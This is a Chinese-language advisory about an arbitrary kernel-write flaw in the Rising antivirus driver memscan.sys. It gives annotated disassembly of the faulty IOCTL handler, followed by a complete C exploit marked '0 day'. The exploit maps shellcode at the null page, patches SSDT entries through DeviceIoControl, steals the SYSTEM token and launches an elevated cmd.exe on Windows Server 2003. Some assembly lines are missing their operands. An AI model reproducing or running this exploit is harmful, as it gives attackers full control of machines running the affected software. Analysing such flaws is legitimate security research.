Rav 核心驱动 memscan.sys 本地权限提升漏洞
近期在发现symtdi权限提升的漏洞的基础上，对瑞星的驱动程序也进行分析，发现也存在问题，由于驱动程序中处理 IRP_MJ_DEVICE_CONTROL
例程没有检查用户传入的缓冲区地址的合法性，造成任意内核地址可写
的漏洞,用户可以发送恶意的DeviceIoControl的来完全的控制计算机。
请看以下汇编片段:
; int __stdcall sub_10ABE(int,PIRP Irp)
.text:00010ABE sub_10ABE proc near ; DATA XREF: start+2Co
.text:00010ABE
.text:00010ABE Irp = dword ptr0Ch
.text:00010ABE
.text:00010ABE push ebp
.text:00010ABF mov ebp, esp
.text:00010AC1 mov edx,
.text:00010AC4 push ebx
.text:00010AC5 push esi
.text:00010AC6 push edi
.text:00010AC7 mov edi,
; 这里为了效率，依然使用METHOD_NEITHER这种方式进行数据传输
.text:00010ACA mov eax, 220023h
.text:00010ACF mov ecx,
.text:00010AD2 cmp ecx, eax
.text:00010AD4 ja loc_10C09
.text:00010AD4
.text:00010ADA jz loc_10BFB
.text:00010ADA
.text:00010AE0 mov eax, ecx
.text:00010AE2 sub eax, 220007h
.text:00010AE7 jz loc_10B6D ;这里存在比较严重的问题
.......
loc_10B6D:
; CODE XREF: sub_10ABE+29j
.text:00010B6D mov ax, es
.text:00010B70 mov word_1329C, ax
.text:00010B76 mov ax, ds
.text:00010B79 mov word_1329A, ax
.text:00010B7F mov ecx, ; 长度
.text:00010B82 mov esi, ; esi = irpSp->Type3InputBuffer
.text:00010B85 mov eax, ecx
.text:00010B87 mov edi, offset unk_13080 ; 这里也没有检查输入的缓冲区的
; 长度，可以对静态数据区进行溢
;出, 不过你往下看你会更兴奋
.text:00010B8C shr ecx, 2
.text:00010B8F rep movsd
.text:00010B91 mov ecx, eax
.text:00010B93 mov eax, P
.text:00010B98 xor ebx, ebx
.text:00010B9A and ecx, 3
.text:00010B9D cmp eax, ebx
.text:00010B9F rep movsb
.text:00010BA1 jz loc_10CA7
.text:00010BA1
.text:00010BA7 push eax ; Buffer
.text:00010BA8 push offset unk_13099 ; FileHandle
.text:00010BAD call sub_10414
.text:00010BAD
.text:00010BB2 test al, al
.text:00010BB4 jnz short loc_10BC7
.text:00010BB4
.text:00010BB6 mov eax,
.text:00010BB9 mov eax, ; eax = irp->UserBuffer
.text:00010BBC mov dword ptr , 1 ; eax所指向的地址被写入了1
.text:00010BC2 jmp loc_10CA7
到此我们已经看清楚了这个漏洞的成因，也看到了利用方法，和之前的symtdi的利用方法基本一样.
#include
#include
#pragma comment (lib, "ntdll.lib")
typedef LONG NTSTATUS;
#define STATUS_SUCCESS((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef struct _IMAGE_FIXUP_ENTRY {
WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
extern "C"
NTSTATUS
NTAPI
NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);
int main(int argc, char* argv[])
{
NTSTATUS status;
HANDLE deviceHandle;
DWORD dwReturnSize = 0;
PVOID VdmControl = NULL;
PVOID p = NULL;
PVOID ShellCodeMemory = (PVOID)0x1;
DWORD MemorySize = 0x1000;
PROCESS_INFORMATION pi;
STARTUPINFOA stStartup;
OSVERSIONINFOEX OsVersionInfo;
RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);
if ( OsVersionInfo.dwMajorVersion != 5 ) {
printf( "Not NT5 system\n" );
ExitProcess( 0 );
return 0;
}
if ( OsVersionInfo.dwMinorVersion != 2 ) {
printf( "isn't windows 2003 system\n" );
ExitProcess( 0 );
return 0;
}
printf( "Rav Local Privilege Escalation Vulnerability Exploit (0 day) \n\n" );
printf( "Tested on: \n\twindows 2003 sp1 (ntoskrnl.pa.exe version) \n\n" );
printf( "\tCoded by Polymorphours. Polymorphours@whitecell.org\n\n" );
status = NtAllocateVirtualMemory( (HANDLE)-1,
&ShellCodeMemory,
0,
&MemorySize,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE );
if ( status != STATUS_SUCCESS ) {
printf( "NtAllocateVirtualMemory failed, status: %08X\n", status );
return 0;
}
memset( ShellCodeMemory, 0x90, MemorySize );
__asm {
call CopyShellCode
nop
nop
nop
nop
nop
nop
//
// 恢复SSDT
//
mov edi, 0x80827D54
mov , 0x808C998A
mov , 0x809ba123
mov , 0x80915CBE
mov eax,0xFFDFF124 // eax = ETHREAD(not 3G Mode)
mov eax,
mov esi,
mov eax,esi
search2k3sp1:
mov eax,
sub eax,0x98
mov edx,
cmp edx,0x4 // Find System Process
jne search2k3sp1
mov eax, // 获取system进程的token
mov ,eax // 修改当前进程的token
ret 8
CopyShellCode:
pop esi
lea ecx, CopyShellCode
sub ecx, esi
mov edi,0x5
cld
rep movsb
}
deviceHandle = CreateFile("\\\\.\\MEMSCAN",
0,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
if ( INVALID_HANDLE_VALUE == deviceHandle ) {
printf( "Open RavMMSCAN device failed, code: %d\n", GetLastError() );
return 0;
} else {
printf( "Open RavMMSCAN device success\n" );
}
p = LocalAlloc( LPTR, 0x10 );
DeviceIoControl( deviceHandle,
0x220007,
p,
0x10,
(PVOID)0x80827D54,
0xC,
&dwReturnSize,
NULL );
CloseHandle( deviceHandle );
LocalFree( p );
VdmControl = GetProcAddress( LoadLibrary("ntdll.dll"), "ZwVdmControl" );
if ( VdmControl == NULL ) {
printf( "VdmControl == NULL\n" );
return 0;
}
printf( "call shellcode ... " );
_asm {
xor ecx,ecx
push ecx
push ecx
mov eax, VdmControl
call eax
}
printf( "Done.\n" );
printf( "Create New Process\n" );
GetStartupInfo( &stStartup );
CreateProcess( NULL,
"cmd.exe",
NULL,
NULL,
TRUE,
NULL,
NULL,
NULL,
&stStartup,
&pi );
return 0;
}
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